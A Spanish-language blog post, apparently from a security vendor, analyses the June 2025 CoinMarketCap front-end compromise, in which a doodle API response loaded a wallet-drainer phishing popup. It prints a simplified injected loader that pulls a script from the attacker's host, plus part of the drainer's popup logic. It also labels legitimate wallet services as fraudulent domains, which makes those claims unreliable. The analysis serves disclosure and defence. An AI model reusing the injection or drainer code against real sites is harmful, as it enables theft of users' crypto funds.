
El 20 de junio de 2025, CoinMarketCap (CMC) —un pilar fundamental del ecosistema de criptomonedas, utilizado por millones de personas para obtener datos cripto en tiempo real— sufrió un incidente de seguridad significativo. Un ataque del lado del cliente comprometió su frontend, engañando a los usuarios para que conectaran sus billeteras cripto mediante un sofisticado esquema de phishing. Esta brecha pone de manifiesto vulnerabilidades críticas en las rutas de entrega de contenido de confianza. Aunque no sabemos si la respuesta de la API fue comprometida a través de código de terceros o por una mala configuración interna, el resultado fue claro: ejecución de malware del lado del cliente a través de una API de confianza.
A continuación, desglosamos el ataque en dos niveles: un resumen de alto nivel para partes interesadas no técnicas y un análisis técnico detallado para profesionales de seguridad.
Resumen de alto nivel: ¿Qué ocurrió?
Fuente: https://x.com/DarkWebInformer/status/1936209452878745680
Las ventanas emergentes no formaban parte de las funciones legítimas de CMC; eran el resultado de un ataque del lado del cliente que secuestró el frontend del sitio web.
Cronología del ataque

El 20 de junio de 2025, los usuarios que visitaban la página principal de CoinMarketCap comenzaron a ver ventanas emergentes inesperadas. Estas ventanas, diseñadas para imitar la identidad visual de CoinMarketCap, instaban a los usuarios a "verificar sus billeteras" para "mantener el acceso completo" a la plataforma.
Momento clave: La primera transacción maliciosa vinculada al ataque se ejecutó a las 4:57 PM EST, un horario probablemente elegido para coincidir con el final de la jornada laboral de los ingenieros y equipos de seguridad, retrasando así la detección inmediata.
Conclusiones clave para partes interesadas no técnicas
- Cómo comenzó: El ataque se inició con un elemento pequeño y aparentemente inofensivo en la página principal de CMC: una imagen "doodle" (un gráfico decorativo, como un logotipo temático para una festividad).
- Qué ocurrió después: Esta imagen doodle estaba vinculada a un recurso no confiable (un archivo JSON) alojado en un dominio externo (cdnkit[.]io). Dicho recurso contenía código oculto que inyectaba una ventana emergente falsa en el navegador del usuario.
- El engaño: La ventana emergente parecía legítima, utilizando los colores, logotipos y un lenguaje de urgencia de CMC para engañar a los usuarios y que conectaran sus billeteras cripto (por ejemplo, MetaMask, Phantom). Una vez conectadas, los atacantes podían robar fondos.
- Por qué es grave: Aunque este ataque se asemejó a un compromiso de la cadena de suministro desde la perspectiva del frontend —ya que el código malicioso se entregó a través de un endpoint de confianza—, la causa subyacente podría haber sido una modificación directa de una respuesta de API de primera parte. El origen real no está claro sin acceso interno. Sin embargo, desde la perspectiva del frontend, pone de relieve lo peligroso que resulta cuando los canales de datos de confianza son utilizados de forma abusiva.
Análisis técnico en profundidad: ¿Cómo funcionó el ataque?
Para entender la mecánica del ataque, lo desglosamos en fases, desde el desencadenante inicial hasta la carga útil final.
Fase 1: La imagen doodle — Compromiso inicial
La página principal de CoinMarketCap incluía una sección "doodle", una función habitual para festividades o eventos (por ejemplo, un logotipo especial para el Día Mundial del Corazón). Este doodle se cargaba de forma dinámica mediante una solicitud a la API https://api[.]coinmarketcap[.]com/content/v3/doodle/get?type=5
La API devolvía un archivo JSON con metadatos sobre los doodles activos, incluidos enlaces a archivos de imagen.
La respuesta JSON maliciosa
La respuesta JSON incluía una referencia a un archivo alojado en cdnkit[.]io:
"lightModeFile": "https://static[.]cdnkit[.]io/cmc/6855a83d80876056dab0a5cf[.]json"
Esta URL no apuntaba a una imagen simple. En su lugar, devolvía otro archivo JSON con código JavaScript embebido.
Fase 2: JavaScript inyectado — Ejecución del lado del cliente
El JSON de cdnkit[.]io contenía un fragmento de JavaScript oculto diseñado para ejecutarse en el navegador del usuario. A continuación se muestra un desglose simplificado del código:
// Comprobar si el ataque ya ha sido inyectado
if (!window.cmcInjected) {
window.cmcInjected = true;
// Modificar la página para ocultar elementos legítimos (p. ej., el logotipo real de CMC)
const logo = document.querySelector('.cmc-logo');
if (logo) {
logo.title = 'Go to homepage'; // Título falso para simular legitimidad
logo.removeAttribute('data-text');
}
// Añadir CSS para dar estilo a la ventana emergente falsa
const style = document.createElement('style');
style.textContent = `.cmc-logo svg{margin-top:-3px}...`; // Oculta elementos reales
document.head.appendChild(style);
// Inyectar el script malicioso de la ventana emergente
const script = document.createElement('script');
script.src = 'https://static[.]cdnkit[.]io/cmc/popup[.]js';
document.head.appendChild(script);
}
Observaciones clave
- Ejecución del lado del cliente: El código se ejecuta en el navegador del usuario, no en los servidores de CMC. Esto elude las herramientas de seguridad del lado del servidor.
- Control de persistencia: El indicador
window.cmcInjectedgarantiza que el script se ejecute solo una vez por sesión, evitando su detección. - Manipulación del DOM: El script modifica el HTML/CSS de la página para ocultar elementos legítimos (por ejemplo, el logotipo real de CMC) y preparar la ventana emergente falsa.
Fase 3: La ventana emergente falsa — Interfaz de phishing
El script inyectado (popup[.]js, alojado en blockassets[.]app) creó una superposición de apariencia realista. Así es como funcionaba:
Estructura de la ventana emergente
La ventana emergente imitaba el diseño de CMC, con:
- Un título "Verify Your Wallet".
- Un mensaje que transmitía urgencia: "Please connect your wallet now to authenticate and maintain full access to your CoinMarketCap account."
- Un botón "Connect Wallet" con el estilo de la interfaz de CMC.
Lógica de JavaScript
El script popup[.]js incluía funciones para:
- Mostrar la ventana emergente: Añadir una superposición a pantalla completa con el mensaje falso.
- Gestionar la interacción del usuario: Cuando el usuario hace clic en "Connect Wallet", el script intenta conectarse a una billetera cripto (por ejemplo, MetaMask, Phantom).
- Exfiltración de datos: Si se establece la conexión, el script se comunica con dominios fraudulentos (por ejemplo,
walletconnect[.]com,trustwallet[.]com) para robar credenciales de la billetera o claves privadas.
Fase 4: Análisis de dominios — Infraestructura sospechosa
El ataque se apoyó en dominios con señales de alerta evidentes:
| Dominio | Detalles |
|---|---|
| cdnkit[.]io | Alojó el JSON malicioso inicial. Dominio registrado en 2020; sin vínculo directo con CMC. |
| blockassets[.]app | Alojó popup[.]js y f43f9316-f6a5-4626-bafd-fd4fd52cb490[.]js. Los datos WHOIS del dominio indican que no pertenece a CMC. |
| admin2[.]prod[.]coinmarketcap[.]supply | Un dominio con error tipográfico (supply en lugar de com) que imita la infraestructura de CMC. El WHOIS indica que tiene 2.677 días de antigüedad (creado en 2018) y no pertenece a CMC. |
| walletconnect[.]com | Redirige a reown[.]com, un dominio conocido por estar relacionado con estafas. |
| trustwallet[.]com | Históricamente vinculado a extensiones de navegador fraudulentas (según reseñas de usuarios). |
Fase 5: Drenador de billeteras — Cargas útiles técnicas
El script popup[.]js interactuaba con una biblioteca JavaScript más extensa (alojada en blockassets[.]app) que incluía funciones para:
- Conexión de billeteras: Detectar y conectarse a billeteras populares (MetaMask, Phantom, etc.).
- Lógica de ataque adaptativa: Personalizar el flujo de phishing según el tipo de billetera detectada para evitar advertencias de seguridad y firmas fallidas.
- Firma de transacciones: Engañar a los usuarios para que firmen transacciones maliciosas (por ejemplo, aprobando transferencias de tokens).
- Gestión de errores: Mostrar mensajes de error falsos (por ejemplo, "Your wallet is blacklisted") para presionar a los usuarios a reintentar con diferentes billeteras.
Fragmento de código de ejemplo
La función customPopupOpen en popup[.]js controlaba el comportamiento de la ventana emergente:
window.customPopupOpen = function(params) {
const stepName = params.stepName;
return new Promise((resolve) => {
const errorSteps = ["blacklisted", "connect_empty", "connect_too_low", ...];
if (errorSteps.includes(stepName)) {
// Mostrar mensaje de error falso
injectToasterMessage({
blacklisted: "Your wallet is not AML clear, you can't use it!",
connect_empty: "For security reasons we can't allow you to connect empty or new wallet.",
...
}[stepName]);
} else {
// Mostrar spinner de carga para engañar a los usuarios
modalFooter.classList.add("loading");
resolve(); // Continuar el script drenador
}
});
};
Revelaciones posteriores al ataque

En las horas siguientes al incidente, un canal de Telegram llamado "CommLeaks" compartió capturas de pantalla presuntamente extraídas del panel de control del atacante. Estas imágenes, vinculadas al "Inferno Drainer" (una herramienta maliciosa bien documentada para vaciar billeteras cripto), revelaron:
- Fondos totales robados: Aproximadamente 43.266 USD fueron sustraídos de 110 víctimas que interactuaron con la ventana emergente falsa de verificación de billetera.
- Alcance del ataque: El panel destacó el alcance del ataque, con cientos de usuarios engañados para conectar sus billeteras. Esto subraya la eficacia de las tácticas de ingeniería social (urgencia, interfaz realista) combinadas con el compromiso del lado del cliente.
Por qué este ataque es importante
La creciente amenaza de los ataques a través de JS de terceros
La brecha en CoinMarketCap pone de relieve un patrón que hemos visto con frecuencia: ataques que explotan canales de entrega de contenido de confianza, ya sean bibliotecas de terceros o APIs internas, para inyectar scripts maliciosos en los navegadores de los usuarios. Los atacantes apuntan cada vez más a bibliotecas, CDNs y herramientas SaaS integradas en sitios web. Por ejemplo:
- El ataque a Pollyfill (febrero de 2024) distribuyó código malicioso a través de cdn[.]polyfill[.]io, un servicio ampliamente utilizado para la compatibilidad entre navegadores.
- Los scripts de terceros suelen tener acceso a datos sensibles del usuario (por ejemplo, cookies, direcciones de billetera), lo que los convierte en objetivos prioritarios.
Por qué fallan las defensas tradicionales:
- Las herramientas de seguridad del lado del servidor (firewalls, WAFs) no pueden inspeccionar la ejecución de código del lado del cliente.
- Incluso los servicios de confianza (por ejemplo, plataformas de analítica) pueden verse comprometidos, como se vio en el ataque al doodle de CoinMarketCap.
Vulnerabilidades en las rutas de datos de confianza
Desde la perspectiva del cliente, este incidente imita un ataque a la cadena de suministro donde el contenido malicioso se entregó a través de una ruta de confianza, aunque la causa raíz podría haber sido un compromiso directo del backend. Si bien aún no hay evidencia de que un tercero haya sido comprometido, el ataque utilizó un endpoint de API de confianza (/doodle/get) para entregar código malicioso. Esto significa que incluso la infraestructura de primera parte, si está mal configurada o ha sido vulnerada, puede convertirse inadvertidamente en un canal de distribución de malware, de forma muy similar a como lo haría una biblioteca o CDN contaminada. ⚠️ Aclaración: ¿Fue esto realmente un ataque a la cadena de suministro?
Aún no sabemos si se comprometió una dependencia de terceros o si la API /doodle/get fue modificada internamente. Sin embargo, desde el punto de vista del frontend, se comportó como un ataque a la cadena de suministro, porque el contenido malicioso se entregó a través de un servicio de confianza, rompiendo la cadena de confianza implícita independientemente del origen.
Riesgos del lado del cliente
Los ataques del lado del cliente (código que se ejecuta en el navegador del usuario) son especialmente peligrosos sin protección del lado del cliente, porque:
- Eluden las herramientas de seguridad del lado del servidor (por ejemplo, firewalls, sistemas de detección de intrusiones).
- Explotan la confianza del usuario en una plataforma conocida (CMC).
- Pueden propagarse rápidamente, ya que el código malicioso se carga con cada visita a la página.
Cómo mantenerse protegido
Para usuarios
- Evita las ventanas emergentes no solicitadas: Nunca conectes tu billetera a través de una ventana emergente, ni siquiera en sitios de confianza. Las plataformas legítimas no solicitarán conexiones de billetera mediante ventanas emergentes inesperadas.
- Usa bloqueadores de anuncios: Herramientas como uBlock Origin o AdGuard pueden bloquear la carga de scripts maliciosos.
- Verifica los dominios: Comprueba si hay errores tipográficos en las URLs (por ejemplo,
coinmarketcap[.]supplyfrente acoinmarketcap[.]com). - Examina cada aprobación: Antes de firmar, lee detenidamente los detalles en tu billetera. Sé especialmente cauteloso con las solicitudes que piden permisos amplios.
Para plataformas (por ejemplo, CMC)
- Audita las integraciones de terceros: Revisa periódicamente todos los recursos externos (imágenes, scripts, APIs) cargados en tu plataforma.
- Integridad de subrecursos (SRI): Las SRI pueden usarse para vincular scripts a hashes (por ejemplo, ``). Sin embargo, en la mayoría de los casos las SRI no serán una opción viable debido al comportamiento altamente dinámico de JavaScript. Además, las SRI no generan alertas ante violaciones, lo que dificulta su uso en producción.
- Monitoriza la actividad del lado del cliente: Usa herramientas como Sentry o New Relic para detectar ejecuciones de JavaScript inesperadas.
Aprovecha las herramientas de monitorización de JS de terceros: Los scripts de terceros son una parte fundamental de la cadena de suministro web moderna, pero también introducen riesgos. El código malicioso inyectado a través de bibliotecas de terceros (por ejemplo, herramientas de analítica, redes publicitarias o polyfills) puede comprometer los datos de los usuarios o habilitar ataques como la brecha de CoinMarketCap.
Cómo puede ayudar cside: Plataformas como cside están especializadas en monitorizar, proteger y optimizar el JavaScript de terceros. Sus servicios incluyen:
- Análisis de cargas útiles en tiempo real: Rastrea cada solicitud para detectar cambios maliciosos en scripts de terceros.
- Detección de ataques a la cadena de suministro: Identifica dependencias comprometidas (por ejemplo, el incidente de
cdn[.]polyfill[.]iode febrero de 2024 que inyectó código malicioso en miles de sitios). - Soporte para el cumplimiento de PCI: Garantiza que las integraciones de terceros cumplan los estándares de seguridad para sectores que manejan datos sensibles.
Paso a seguir: Crea una cuenta gratuita en cside.com para empezar a monitorizar tus scripts de terceros y protegerte frente a vulnerabilidades en la cadena de suministro.
Conclusión
La brecha en CoinMarketCap es un recordatorio contundente de la fragilidad de la confianza en la era digital. Al secuestrar un elemento menor como una imagen doodle, los atacantes se infiltraron en una plataforma utilizada por millones de personas y convirtieron esa confianza en un arma para robar fondos. A medida que crece la adopción de las criptomonedas, también aumenta la necesidad de vigilancia, tanto por parte de las plataformas que protegen sus rutas de entrega de contenido de confianza como de los usuarios que examinan cada interacción. Para los equipos de seguridad, este incidente subraya la importancia de la gestión del riesgo en la cadena de suministro y la seguridad del lado del cliente. Para los usuarios, es un llamado a mantenerse alerta: incluso las plataformas de confianza pueden ser víctimas de tácticas de phishing sofisticadas.
Un agradecimiento especial a nuestro amigo y colaborador invitado del blog, Jack LaFond.









